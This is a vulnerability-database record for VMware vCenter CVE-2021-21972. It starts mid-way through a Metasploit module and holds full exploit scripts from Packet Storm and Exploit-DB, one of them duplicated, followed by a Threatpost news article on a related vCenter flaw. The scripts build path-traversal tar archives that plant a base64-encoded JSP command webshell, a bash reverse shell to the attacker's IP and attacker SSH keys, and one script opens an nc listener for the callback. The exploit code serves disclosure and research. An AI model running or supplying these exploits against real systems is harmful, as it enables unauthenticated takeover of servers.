0o644) { |jsp| jsp.write(payload.encoded) } \nend \nend \n \nova_file.string \nend \n \ndef jsp_paths \ncase target['Platform'] \nwhen 'linux' \n@jsp_paths ||= spray_and_pray_range.shuffle.map do |idx| \n\"/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/#{idx}/0/h5ngc.war/resources/#{jsp_filename}\" \nend \nwhen 'win' \n# Forward slashes work here \n[\"/ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/#{jsp_filename}\"] \nend \nend \n \ndef ova_filename \n@ova_filename ||= \"#{rand_text_alphanumeric(8..42)}.ova\" \nend \n \ndef jsp_filename \n@jsp_filename ||= \"#{rand_text_alphanumeric(8..42)}.jsp\" \nend \n \nend \n`\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://packetstormsecurity.com/files/download/161695/vmware_vcenter_uploadova_rce.rb.txt"}, {"lastseen": "2021-06-24T18:30:50", "description": "", "published": "2021-06-24T00:00:00", "type": "packetstorm", "title": "VMware vCenter 6.5 / 6.7 / 7.0 Remote Code Execution", "bulletinFamily": "exploit", "cvelist": ["CVE-2021-21972"], "modified": "2021-06-24T00:00:00", "id": "PACKETSTORM:163268", "href": "https://packetstormsecurity.com/files/163268/VMware-vCenter-6.5-6.7-7.0-Remote-Code-Execution.html", "sourceData": "`# Exploit Title: VMware vCenter Server RCE 6.5 / 6.7 / 7.0 - Remote Code Execution (RCE) (Unauthenticated) \n# Date: 06/21/2021 \n# Exploit Author: CHackA0101 \n# Vendor Homepage: https://kb.vmware.com/s/article/82374 \n# Software Link: https://www.vmware.com/products/vcenter-server.html \n# Version: This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2). \n# Tested on: VMware vCenter version 6.5 (OS: Linux 4.4.182-1.ph1 SMP UTC 2019 x86_64 GNU/Linux) \n# CVE: 2021-21972 \n \n# More Info: https://github.com/chacka0101/exploits/blob/master/CVE-2021-21972/README.md \n \n#!/usr/bin/python2 \n \nimport os \nimport urllib3 \nimport argparse \nimport sys \nimport requests \nimport base64 \nimport tarfile \nimport threading \nimport time \n \nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) \n \nmyargs=argparse.ArgumentParser() \nmyargs.add_argument('-T','--target',help='The IP address of the target',required=True) \nmyargs.add_argument('-L','--local',help='Your local IP',required=True) \nargs=myargs.parse_args() \n \ndef getprompt(x): \nprint (\"(CHackA0101-GNU/Linux)$ \"+ str(x)) \n \ndef getpath(path=\"/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/37/0/h5ngc.war/resources/shell4.jsp\"): \nfullpath=\"../\" * 7 + path \nreturn fullpath.replace('\\\\','/').replace('//','/') \n \ndef createbackdoor(localip): \n# shell4.jsp \nbackdoor = \"PGZvcm0gbWV0aG9kPSJHRVQiIGFjdGlvbj0iIj4KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjbWQiIC8+Cgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRXhlYyEiIC8+CjwvZm9ybT4gPCUhCnB1YmxpYyBTdHJpbmcgZXNjKFN0cmluZyBzdHIpewoJU3RyaW5nQnVmZmVyIHNiID0gbmV3IFN0cmluZ0J1ZmZlcigpOwoJZm9yKGNoYXIgYyA6IHN0ci50b0NoYXJBcnJheSgpKQoJCWlmKCBjID49ICcwJyAmJiBjIDw9ICc5JyB8fCBjID49ICdBJyAmJiBjIDw9ICdaJyB8fCBjID49ICdhJyAmJiBjIDw9ICd6JyB8fCBjID09ICcgJyApCgkJCXNiLmFwcGVuZCggYyApOwoJCWVsc2UKCQkJc2IuYXBwZW5kKCImIyIrKGludCkoYyYweGZmKSsiOyIpOwoJcmV0dXJuIHNiLnRvU3RyaW5nKCk7Cn0gJT48JQpTdHJpbmcgY21kID0gcmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpOwppZiAoIGNtZCAhPSBudWxsKSB7CglvdXQucHJpbnRsbigiPHByZT5Db21tYW5kIHdhczogPGI+Iitlc2MoY21kKSsiPC9iPlxuIik7CglqYXZhLmlvLkRhdGFJbnB1dFN0cmVhbSBpbiA9IG5ldyBqYXZhLmlvLkRhdGFJbnB1dFN0cmVhbShSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGNtZCkuZ2V0SW5wdXRTdHJlYW0oKSk7CglTdHJpbmcgbGluZSA9IGluLnJlYWRMaW5lKCk7Cgl3aGlsZSggbGluZSAhPSBudWxsICl7CgkJb3V0LnByaW50bG4oZXNjKGxpbmUpKTsKCQlsaW5lID0gaW4ucmVhZExpbmUoKTsKCX0KCW91dC5wcmludGxuKCI8L3ByZT4iKTsKfSAlPg==\" \nbackdoor = base64.b64decode(backdoor).decode('utf-8') \nf = open(\"shell4.jsp\",\"w\") \nf.write(backdoor) \nf.close() \n# reverse.sh \n# After decoding overwrite string 'CUSTOM_IP' for local IP \nshell=\"IyEvYmluL2Jhc2gKYmFzaCAtaSA+JiAvZGV2L3RjcC9DVVNUT01fSVAvNDQzIDA+JjE=\" \nshell=base64.b64decode(shell).decode('utf-8') \nshell=shell.replace('CUSTOM_IP',localip) \nf=open(\"reverse.sh\",\"w\") \nf.write(shell) \nf.close() \n# Move on with the payload \npayload_file=tarfile.open('payload.tar','w') \nmyroute=getpath() \ngetprompt('Adding web backdoor to archive') \npayload_file.add(\"shell4.jsp\", myroute) \nmyroute=getpath(\"tmp/reverse.sh\") \ngetprompt('Adding bash backdoor to archive') \npayload_file.add(\"reverse.sh\", myroute) \npayload_file.close() \n# cleaning up a little bit \nos.unlink(\"reverse.sh\") \nos.unlink(\"shell4.jsp\") \ngetprompt('Backdoor file just was created.') \n \ndef launchexploit(ip): \nres=requests.post('https://' + ip + '/ui/vropspluginui/rest/services/uploadova', files={'uploadFile':open('payload.tar', 'rb')}, verify=False, timeout=60) \nif res.status_code == 200 and res.text == 'SUCCESS': \ngetprompt('Backdoor was uploaded successfully!') \nreturn True \nelse: \ngetprompt('Backdoor failed to be uploaded. Target denied access.') \nreturn False \n \ndef testshell(ip): \ngetprompt('Looking for shell...') \nshell_path=\"/ui/resources/shell4.jsp?cmd=uname+-a\" \nres=requests.get('https://' + ip + shell_path, verify=False, timeout=60) \nif res.status_code==200: \ngetprompt('Shell was found!.') \nresponse=res.text \nif True: \ngetprompt('Shell is responsive.') \ntry: \nresponse=re.findall(\"b>(.+)</\",response)[0] \nprint('$>uname -a') \nprint(response) \nexcept: \npass \nreturn True \nelse: \ngetprompt('Sorry. Shell was not found.') \nreturn False \n \ndef opendoor(url): \ntime.sleep(3) \ngetprompt('Executing command.') \nrequests.get(url, verify=False, timeout=1800) \n \ndef executebackdoor(ip, localip): \nurl=\"https://\"+ip+\"/ui/resources/shell4.jsp?cmd=bash%20/tmp/reverse.sh\" \nt=threading.Thread(target=opendoor,args=(url,)) \nt.start() \ngetprompt('Setting up socket '+localip+':443') \nos.system('nc -lnvp 443') \n \nif len(sys.argv)== 1: \nmyargs.print_help(sys.stderr) \nsys.exit(1) \ncreatebackdoor(args.local) \nuploaded=launchexploit(args.target) \nif uploaded: \ntested=testshell(args.target) \nif tested: \nexecutebackdoor(args.target, args.local) \ngetprompt(\"Execution completed!\") \n \n`\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://packetstormsecurity.com/files/download/163268/vmwarevcenter70-exec.txt"}], "exploitdb": [{"lastseen": "2021-03-01T10:39:58", "description": "", "published": "2021-03-01T00:00:00", "type": "exploitdb", "title": "VMware vCenter Server 7.0 - Unauthenticated File Upload", "bulletinFamily": "exploit", "cvelist": ["CVE-2021-21972"], "modified": "2021-03-01T00:00:00", "id": "EDB-ID:49602", "href": "https://www.exploit-db.com/exploits/49602", "sourceData": "# Exploit Title: VMware vCenter Server 7.0 - Unauthenticated File Upload\r\n# Date: 2021-02-27\r\n# Exploit Author: Photubias\r\n# Vendor Advisory: [1] https://www.vmware.com/security/advisories/VMSA-2021-0002.html\r\n# Version: vCenter Server 6.5 (7515524<[vulnerable]<17590285), vCenter Server 6.7 (<17138064) and vCenter Server 7 (<17327517)\r\n# Tested on: vCenter Server Appliance 6.5, 6.7 & 7.0, multiple builds\r\n# CVE: CVE-2021-21972\r\n\r\n#!/usr/bin/env python3\r\n'''\r\n Copyright 2021 Photubias(c) \r\n This program is free software: you can redistribute it and/or modify\r\n it under the terms of the GNU General Public License as published by\r\n the Free Software Foundation, either version 3 of the License, or\r\n (at your option) any later version.\r\n \r\n This program is distributed in the hope that it will be useful,\r\n but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n GNU General Public License for more details.\r\n \r\n You should have received a copy of the GNU General Public License\r\n along with this program. If not, see <http://www.gnu.org/licenses/>.\r\n \r\n File name CVE-2021-21972.py\r\n written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be\r\n\r\n CVE-2021-21972 is an unauthenticated file upload and overwrite,\r\n exploitation can be done via SSH public key upload or a webshell\r\n The webshell must be of type JSP, and its success depends heavily on the specific vCenter version\r\n \r\n # Manual verification: https://<ip>/ui/vropspluginui/rest/services/checkmobregister\r\n # A white page means vulnerable\r\n # A 401 Unauthorized message means patched or workaround implemented (or the system is not completely booted yet)\r\n # Notes:\r\n # * On Linux SSH key upload is always best, when SSH access is possible & enabled\r\n # * On Linux the upload is done as user vsphere-ui:users\r\n # * On Windows the upload is done as system user\r\n # * vCenter 6.5 <=7515524 does not contain the vulnerable component \"vropspluginui\"\r\n # * vCenter 6.7U2 and up are running the Webserver in memory, so backdoor the system (active after reboot) or use SSH payload\r\n \r\n This is a native implementation without requirements, written in Python 3.\r\n Works equally well on Windows as Linux (as MacOS, probably ;-)\r\n \r\n Features: vulnerability checker + exploit\r\n'''\r\n\r\nimport os, tarfile, sys, optparse, requests\r\nrequests.packages.urllib3.disable_warnings()\r\n\r\nlProxy = {}\r\nSM_TEMPLATE = b'''<env:Envelope xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:env=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\r\n <env:Body>\r\n <RetrieveServiceContent xmlns=\"urn:vim25\">\r\n <_this type=\"ServiceInstance\">ServiceInstance</_this>\r\n </RetrieveServiceContent>\r\n </env:Body>\r\n </env:Envelope>'''\r\nsURL = sFile = sRpath = sType = None\r\n\r\ndef parseArguments(options):\r\n global sURL, sFile, sType, sRpath, lProxy\r\n if not options.url or not options.file: exit('[-] Error: please provide at least an URL and a FILE to upload.')\r\n sURL = options.url\r\n if sURL[-1:] == '/': sURL = sURL[:-1]\r\n if not sURL[:4].lower() == 'http': sURL = 'https://' + sURL\r\n sFile = options.file\r\n if not os.path.exists(sFile): exit('[-] File not found: ' + sFile)\r\n sType = 'ssh'\r\n if options.type: sType = options.type\r\n if options.rpath: sRpath = options.rpath\r\n else: sRpath = None\r\n if options.proxy: lProxy = {'https': options.proxy}\r\n\r\ndef getVersion(sURL):\r\n def getValue(sResponse, sTag = 'vendor'):\r\n try: return sResponse.split('<' + sTag + '>')[1].split('</' + sTag + '>')[0]\r\n except: pass\r\n return ''\r\n oResponse = requests.post(sURL + '/sdk', verify = False, proxies = lProxy, timeout = 5, data = SM_TEMPLATE)\r\n #print(oResponse.text)\r\n if oResponse.status_code == 200:\r\n sResult = oResponse.text\r\n if not 'VMware' in getValue(sResult, 'vendor'):\r\n exit('[-] Not a VMware system: ' + sURL)\r\n else:\r\n sName = getValue(sResult, 'name')\r\n sVersion = getValue(sResult, 'version') # e.g. 7.0.0\r\n sBuild = getValue(sResult, 'build') # e.g. 15934073\r\n sFull = getValue(sResult, 'fullName')\r\n print('[+] Identified: ' + sFull)\r\n return sVersion, sBuild\r\n exit('[-] Not a VMware system: ' + sURL)\r\n\r\ndef verify(sURL):\r\n #return True\r\n sURL += '/ui/vropspluginui/rest/services/uploadova'\r\n try:\r\n oResponse = requests.get(sURL, verify=False, proxies = lProxy, timeout = 5)\r\n except:\r\n exit('[-] System not available: ' + sURL)\r\n if oResponse.status_code == 405: return True ## A patched system returns 401, but also if it is not booted completely\r\n else: return False\r\n\r\ndef createTarLin(sFile, sType, sVersion, sBuild, sRpath = None):\r\n def getResourcePath():\r\n oResponse = requests.get(sURL + '/ui', verify = False, proxies = lProxy, timeout = 5)\r\n return oResponse.text.split('static/')[1].split('/')[0]\r\n oTar = tarfile.open('payloadLin.tar','w')\r\n if sRpath: ## version & build not important\r\n if sRpath[0] == '/': sRpath = sRpath[1:]\r\n sPayloadPath = '../../' + sRpath\r\n oTar.add(sFile, arcname=sPayloadPath)\r\n oTar.close()\r\n return 'absolute'\r\n elif sType.lower() == 'ssh': ## version & build not important\r\n sPayloadPath = '../../home/vsphere-ui/.ssh/authorized_keys'\r\n oTar.add(sFile, arcname=sPayloadPath)\r\n oTar.close()\r\n return 'ssh'\r\n elif (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 5) or (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 7 and int(sBuild) < 13010631):\r\n ## vCenter 6.5/6.7 < 13010631, just this location with a subnumber\r\n sPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/%d/0/h5ngc.war/resources/' + os.path.basename(sFile)\r\n print('[!] Selected uploadpath: ' + sPayloadPath[5:])\r\n for i in range(112): oTar.add(sFile, arcname=sPayloadPath % i)\r\n oTar.close()\r\n return 'webshell'\r\n elif (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 7 and int(sBuild) >= 13010631):\r\n ## vCenter 6.7 >= 13010631, webshell not an option, but backdoor works when put at /usr/lib/vmware-vsphere-ui/server/static/resources/libs/<thefile>\r\n sPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/static/resources/libs/' + os.path.basename(sFile)\r\n print('[!] Selected uploadpath: ' + sPayloadPath[5:])\r\n oTar.add(sFile, arcname=sPayloadPath)\r\n oTar.close()\r\n return 'backdoor'\r\n else: #(int(sVersion.split('.')[0]) == 7 and int(sVersion.split('.')[1]) == 0):\r\n ## vCenter 7.0, backdoor webshell, but dynamic location (/usr/lib/vmware-vsphere-ui/server/static/resources15863815/libs/<thefile>)\r\n sPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/static/' + getResourcePath() + '/libs/' + os.path.basename(sFile)\r\n print('[!] Selected uploadpath: ' + sPayloadPath[5:])\r\n oTar.add(sFile, arcname=sPayloadPath)\r\n oTar.close()\r\n return 'backdoor'\r\n \r\n\r\ndef createTarWin(sFile, sRpath = None):\r\n ## vCenter only (uploaded as administrator), vCenter 7+ did not exist for Windows\r\n if sRpath:\r\n if sRpath[0] == '/': sRpath = sRpath[:1]\r\n sPayloadPath = '../../' + sRpath\r\n else:\r\n sPayloadPath = '../../ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/' + os.path.basename(sFile)\r\n oTar = tarfile.open('payloadWin.tar','w')\r\n oTar.add(sFile, arcname=sPayloadPath)\r\n oTar.close()\r\n\r\ndef uploadFile(sURL, sUploadType, sFile):\r\n #print('[!] Uploading ' + sFile)\r\n sFile = os.path.basename(sFile)\r\n sUploadURL = sURL + '/ui/vropspluginui/rest/services/uploadova'\r\n arrLinFiles = {'uploadFile': ('1.tar', open('payloadLin.tar', 'rb'), 'application/octet-stream')}\r\n ## Linux\r\n oResponse = requests.post(sUploadURL, files = arrLinFiles, verify = False, proxies = lProxy)\r\n if oResponse.status_code == 200:\r\n if oResponse.text == 'SUCCESS':\r\n print('[+] Linux payload uploaded succesfully.')\r\n if sUploadType == 'ssh':\r\n print('[+] SSH key installed for user \\'vsphere-ui\\'.')\r\n print(' Please run \\'ssh vsphere-ui@' + sURL.replace('https://','') + '\\'')\r\n return True\r\n elif sUploadType == 'webshell':\r\n sWebshell = sURL + '/ui/resources/' + sFile\r\n #print('testing ' + sWebshell)\r\n oResponse = requests.get(sWebshell, verify=False, proxies = lProxy)\r\n if oResponse.status_code != 404:\r\n print('[+] Webshell verified, please visit: ' + sWebshell)\r\n return True\r\n elif sUploadType == 'backdoor':\r\n sWebshell = sURL + '/ui/resources/' + sFile\r\n print('[+] Backdoor ready, please reboot or wait for a reboot')\r\n print(' then open: ' + sWebshell)\r\n else: ## absolute\r\n pass\r\n ## Windows\r\n arrWinFiles = {'uploadFile': ('1.tar', open('payloadWin.tar', 'rb'), 'application/octet-stream')}\r\n oResponse = requests.post(sUploadURL, files=arrWinFiles, verify = False, proxies = lProxy)\r\n if oResponse.status_code == 200:\r\n if oResponse.text == 'SUCCESS':\r\n print('[+] Windows payload uploaded succesfully.')\r\n if sUploadType == 'backdoor':\r\n print('[+] Absolute upload looks OK')\r\n return True\r\n else:\r\n sWebshell = sURL + '/statsreport/' + sFile\r\n oResponse = requests.get(sWebshell, verify=False, proxies = lProxy)\r\n if oResponse.status_code != 404:\r\n print('[+] Webshell verified, please visit: ' + sWebshell)\r\n return True\r\n return False\r\n\r\nif __name__ == \"__main__\":\r\n usage = (\r\n 'Usage: %prog [option]\\n'\r\n 'Exploiting Windows & Linux vCenter Server\\n'\r\n 'Create SSH keys: ssh-keygen -t rsa -f id_rsa -q -N \\'\\'\\n'\r\n 'Note1: Since the 6.7U2+ (b13010631) Linux appliance, the webserver is in memory. Webshells only work after reboot\\n'\r\n 'Note2: Windows is the most vulnerable, but less mostly deprecated anyway')\r\n\r\n parser = optparse.OptionParser(usage=usage)\r\n parser.add_option('--url', '-u', dest='url', help='Required; example https://192.168.0.1')\r\n parser.add_option('--file', '-f', dest='file', help='Required; file to upload: e.g. id_rsa.pub in case of ssh or webshell.jsp in case of webshell')\r\n parser.add_option('--type', '-t', dest='type', help='Optional; ssh/webshell, default: ssh')\r\n parser.add_option('--rpath', '-r', dest='rpath', help='Optional; specify absolute remote path, e.g. /tmp/testfile or /Windows/testfile')\r\n parser.add_option('--proxy', '-p', dest='proxy', help='Optional; configure a HTTPS proxy, e.g. http://127.0.0.1:8080')\r\n \r\n (options, args) = parser.parse_args()\r\n \r\n parseArguments(options)\r\n \r\n ## Verify\r\n if verify(sURL): print('[+] Target vulnerable: ' + sURL)\r\n else: exit('[-] Target not vulnerable: ' + sURL)\r\n \r\n ## Read out the version\r\n sVersion, sBuild = getVersion(sURL)\r\n if sRpath: print('[!] Ready to upload your file to ' + sRpath)\r\n elif sType.lower() == 'ssh': print('[!] Ready to upload your SSH keyfile \\'' + sFile + '\\'')\r\n else: print('[!] Ready to upload webshell \\'' + sFile + '\\'')\r\n sAns = input('[?] Want to exploit? [y/N]: ')\r\n if not sAns or not sAns[0].lower() == 'y': exit()\r\n \r\n ## Create TAR file\r\n sUploadType = createTarLin(sFile, sType, sVersion, sBuild, sRpath)\r\n if not sUploadType == 'ssh': createTarWin(sFile, sRpath)\r\n\r\n ## Upload and verify\r\n uploadFile(sURL, sUploadType, sFile)\r\n \r\n ## Cleanup\r\n os.remove('payloadLin.tar')\r\n os.remove('payloadWin.tar')", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://www.exploit-db.com/download/49602"}, {"lastseen": "2021-06-24T10:33:53", "description": "", "published": "2021-06-24T00:00:00", "type": "exploitdb", "title": "VMware vCenter Server RCE 6.5 / 6.7 / 7.0 - Remote Code Execution (RCE) (Unauthenticated)", "bulletinFamily": "exploit", "cvelist": ["CVE-2021-21972"], "modified": "2021-06-24T00:00:00", "id": "EDB-ID:50056", "href": "https://www.exploit-db.com/exploits/50056", "sourceData": "# Exploit Title: VMware vCenter Server RCE 6.5 / 6.7 / 7.0 - Remote Code Execution (RCE) (Unauthenticated)\r\n# Date: 06/21/2021\r\n# Exploit Author: CHackA0101\r\n# Vendor Homepage: https://kb.vmware.com/s/article/82374\r\n# Software Link: https://www.vmware.com/products/vcenter-server.html\r\n# Version: This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).\r\n# Tested on: VMware vCenter version 6.5 (OS: Linux 4.4.182-1.ph1 SMP UTC 2019 x86_64 GNU/Linux)\r\n# CVE: 2021-21972\r\n\r\n# More Info: https://github.com/chacka0101/exploits/blob/master/CVE-2021-21972/README.md\r\n\r\n#!/usr/bin/python2\r\n\r\nimport os\r\nimport urllib3\r\nimport argparse\r\nimport sys\r\nimport requests\r\nimport base64\r\nimport tarfile\r\nimport threading\r\nimport time\r\n\r\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\r\n\r\nmyargs=argparse.ArgumentParser()\r\nmyargs.add_argument('-T','--target',help='The IP address of the target',required=True)\r\nmyargs.add_argument('-L','--local',help='Your local IP',required=True)\r\nargs=myargs.parse_args()\r\n\r\ndef getprompt(x):\r\n\tprint (\"(CHackA0101-GNU/Linux)$ \"+ str(x)) \r\n\r\ndef getpath(path=\"/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/37/0/h5ngc.war/resources/shell4.jsp\"):\r\n fullpath=\"../\" * 7 + path\r\n return fullpath.replace('\\\\','/').replace('//','/')\r\n\r\ndef createbackdoor(localip):\r\n # shell4.jsp\r\n backdoor = \"PGZvcm0gbWV0aG9kPSJHRVQiIGFjdGlvbj0iIj4KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjbWQiIC8+Cgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRXhlYyEiIC8+CjwvZm9ybT4gPCUhCnB1YmxpYyBTdHJpbmcgZXNjKFN0cmluZyBzdHIpewoJU3RyaW5nQnVmZmVyIHNiID0gbmV3IFN0cmluZ0J1ZmZlcigpOwoJZm9yKGNoYXIgYyA6IHN0ci50b0NoYXJBcnJheSgpKQoJCWlmKCBjID49ICcwJyAmJiBjIDw9ICc5JyB8fCBjID49ICdBJyAmJiBjIDw9ICdaJyB8fCBjID49ICdhJyAmJiBjIDw9ICd6JyB8fCBjID09ICcgJyApCgkJCXNiLmFwcGVuZCggYyApOwoJCWVsc2UKCQkJc2IuYXBwZW5kKCImIyIrKGludCkoYyYweGZmKSsiOyIpOwoJcmV0dXJuIHNiLnRvU3RyaW5nKCk7Cn0gJT48JQpTdHJpbmcgY21kID0gcmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpOwppZiAoIGNtZCAhPSBudWxsKSB7CglvdXQucHJpbnRsbigiPHByZT5Db21tYW5kIHdhczogPGI+Iitlc2MoY21kKSsiPC9iPlxuIik7CglqYXZhLmlvLkRhdGFJbnB1dFN0cmVhbSBpbiA9IG5ldyBqYXZhLmlvLkRhdGFJbnB1dFN0cmVhbShSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGNtZCkuZ2V0SW5wdXRTdHJlYW0oKSk7CglTdHJpbmcgbGluZSA9IGluLnJlYWRMaW5lKCk7Cgl3aGlsZSggbGluZSAhPSBudWxsICl7CgkJb3V0LnByaW50bG4oZXNjKGxpbmUpKTsKCQlsaW5lID0gaW4ucmVhZExpbmUoKTsKCX0KCW91dC5wcmludGxuKCI8L3ByZT4iKTsKfSAlPg==\"\r\n backdoor = base64.b64decode(backdoor).decode('utf-8')\r\n f = open(\"shell4.jsp\",\"w\")\r\n f.write(backdoor)\r\n f.close()\r\n # reverse.sh \r\n # After decoding overwrite string 'CUSTOM_IP' for local IP \r\n shell=\"IyEvYmluL2Jhc2gKYmFzaCAtaSA+JiAvZGV2L3RjcC9DVVNUT01fSVAvNDQzIDA+JjE=\"\r\n shell=base64.b64decode(shell).decode('utf-8')\r\n shell=shell.replace('CUSTOM_IP',localip)\r\n f=open(\"reverse.sh\",\"w\")\r\n f.write(shell)\r\n f.close()\r\n # Move on with the payload\r\n payload_file=tarfile.open('payload.tar','w')\r\n myroute=getpath()\r\n getprompt('Adding web backdoor to archive')\r\n payload_file.add(\"shell4.jsp\", myroute)\r\n myroute=getpath(\"tmp/reverse.sh\")\r\n getprompt('Adding bash backdoor to archive')\r\n payload_file.add(\"reverse.sh\", myroute)\r\n payload_file.close()\r\n # cleaning up a little bit\r\n os.unlink(\"reverse.sh\")\r\n os.unlink(\"shell4.jsp\")\r\n getprompt('Backdoor file just was created.')\r\n\r\ndef launchexploit(ip):\r\n res=requests.post('https://' + ip + '/ui/vropspluginui/rest/services/uploadova', files={'uploadFile':open('payload.tar', 'rb')}, verify=False, timeout=60)\r\n if res.status_code == 200 and res.text == 'SUCCESS':\r\n getprompt('Backdoor was uploaded successfully!')\r\n return True\r\n else:\r\n getprompt('Backdoor failed to be uploaded. Target denied access.')\r\n return False\r\n\r\ndef testshell(ip):\r\n getprompt('Looking for shell...')\r\n shell_path=\"/ui/resources/shell4.jsp?cmd=uname+-a\"\r\n res=requests.get('https://' + ip + shell_path, verify=False, timeout=60)\r\n if res.status_code==200:\r\n getprompt('Shell was found!.')\r\n response=res.text\r\n if True:\r\n getprompt('Shell is responsive.')\r\n try:\r\n response=re.findall(\"b>(.+)</\",response)[0]\r\n print('$>uname -a')\r\n print(response)\r\n except:\r\n pass\r\n return True\r\n else:\r\n getprompt('Sorry. Shell was not found.')\r\n return False\r\n\r\ndef opendoor(url):\r\n time.sleep(3)\r\n getprompt('Executing command.')\r\n requests.get(url, verify=False, timeout=1800)\r\n\t\r\ndef executebackdoor(ip, localip):\r\n url=\"https://\"+ip+\"/ui/resources/shell4.jsp?cmd=bash%20/tmp/reverse.sh\"\r\n t=threading.Thread(target=opendoor,args=(url,))\r\n t.start()\r\n getprompt('Setting up socket '+localip+':443')\r\n os.system('nc -lnvp 443')\r\n\r\nif len(sys.argv)== 1:\r\n myargs.print_help(sys.stderr)\r\n sys.exit(1)\r\ncreatebackdoor(args.local)\r\nuploaded=launchexploit(args.target)\r\nif uploaded:\r\n tested=testshell(args.target)\r\n if tested:\r\n executebackdoor(args.target, args.local)\r\ngetprompt(\"Execution completed!\")", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://www.exploit-db.com/download/50056"}], "threatpost": [{"lastseen": "2021-05-26T19:52:09", "bulletinFamily": "info", "cvelist": ["CVE-2021-21985", "CVE-2021-21986"], "description": "VMware patched a critical bug impacting its vCenter Server platform with a severity rating of 9.8 out of 10. The company said the flaw could allow a remote attacker to exploit its products and take control of a company\u2019s affected system.\n\nVMware went a step further on Tuesday, calling on IT security teams \u2013[ already on high alert over an uptick in costly and destructive ransomware attacks](<https://threatpost.com/ebook-2021-ransomware-emerging-risks/165477/>) \u2013 to patch systems fast. \n[](<https://threatpost.com/newsletter-sign/>)\u201cIn this era of ransomware it is safest to assume that an attacker is already inside the network somewhere, on a desktop and perhaps even in control of a user account, which is why we strongly recommend declaring an emergency change and patching as soon as possible,\u201d wrote VMware\u2019s Bob Plankers, technical marketing architect [in a Tuesday post](<https://blogs.vmware.com/vsphere/2021/05/vmsa-2021-0010.html>).\n\n## **Critical Bug Impacts Critical Mass? **\n\nThe vulnerability, [tracked as CVE-2021-21985](<https://www.vmware.com/security/advisories/VMSA-2021-0010.html>), impacts vCenter Server platforms, which is in widespread use and used to administer VMware\u2019s market leading vSphere and ESXi host products.\n\nClaire Tills, a senior research engineer with Tenable wrote in a post [commenting on the bug](<https://www.tenable.com/blog/cve-2021-21985-critical-vmware-vcenter-server-remote-code-execution?utm_source=email_alert&utm_medium=email&utm_campaign=srt_emails>), \u201cpatching these flaws should be a top priority. Successful exploitation would allow an attacker to execute arbitrary commands on the underlying vCenter host.\u201d\n\nTills note exploiting the vulnerability is trivial. All an attacker would need to do is be able to access vCenter Server over port 443, she wrote. \u201cEven if an organization has not exposed vCenter Server externally, attackers can still exploit this flaw once inside a network.\u201d\n\nKenna Security\u2019s director of security research Jerry Gamblin, however noted estimates of how many networks are vulnerable attacks is relatively small.\n\n\u201cSome early [research from Rapid 7](<https://twitter.com/hrbrmstr/status/1397579958697054211>) shows that only around 6K\u2019s VCenters are exposed directly to the internet, which makes the \u2018blast radius\u2019 tiny and the initial entry point into a network unlikely with this pair of CVES,\u201d Gamblin wrote in an email commentary to Threatpost.\n\nGamblin is referring to both the critical CVE-2021-21985 bug and a second vulnerability reported by VMware on Tuesday, [CVE-2021-21986](<https://www.tenable.com/cve/CVE-2021-21986>). This second bug has a medium CVSS severity rating of 6.5 and is tied to an authentication mechanism issue in vCenter Server plugins.\n\n## **Breaking Down the Critical Bug **\n\nWorkarounds and updates are available to mitigate both flaws, [according to VMware](<https://www.vmware.com/security/advisories/VMSA-2021-0010.html>).\n\n\u201cThe vSphere Client (HTML5) contains a remote code execution vulnerability due to lack of input validation in the Virtual SAN Health Check plug-in which is enabled by default in vCenter Server,\u201d VMware\u2019s security bulletin states for the critical (CVE-2021-21985) bug. \u201cThe affected Virtual SAN Health Check plug-in is enabled by default in all vCenter Server deployments, whether or not vSAN is being used.\u201d\n\nVMware\u2019s Virtual San (or vSAN) is a software-defined storage solution that typically supports hyper-converged infrastructure. The Health Check plug-in \u201cchecks to monitor the status of cluster components, diagnose issues, and troubleshoot problems,\u201d according to a [VMware description of the tool](<https://docs.vmware.com/en/VMware-vSphere/7.0/com.vmware.vsphere.vsan-monitoring.doc/GUID-B0A8BF17-E3FB-421A-AC1A-8C1EC27294D5.html>).\n\nVMware credited the researcher identified only as \u201cRicter Z\u201d of 360 Noah Lab for finding the bug.\n\n**Join Threatpost for \u201cA Walk On The Dark Side: A Pipeline Cyber Crisis Simulation\u201d\u2013 a LIVE interactive demo 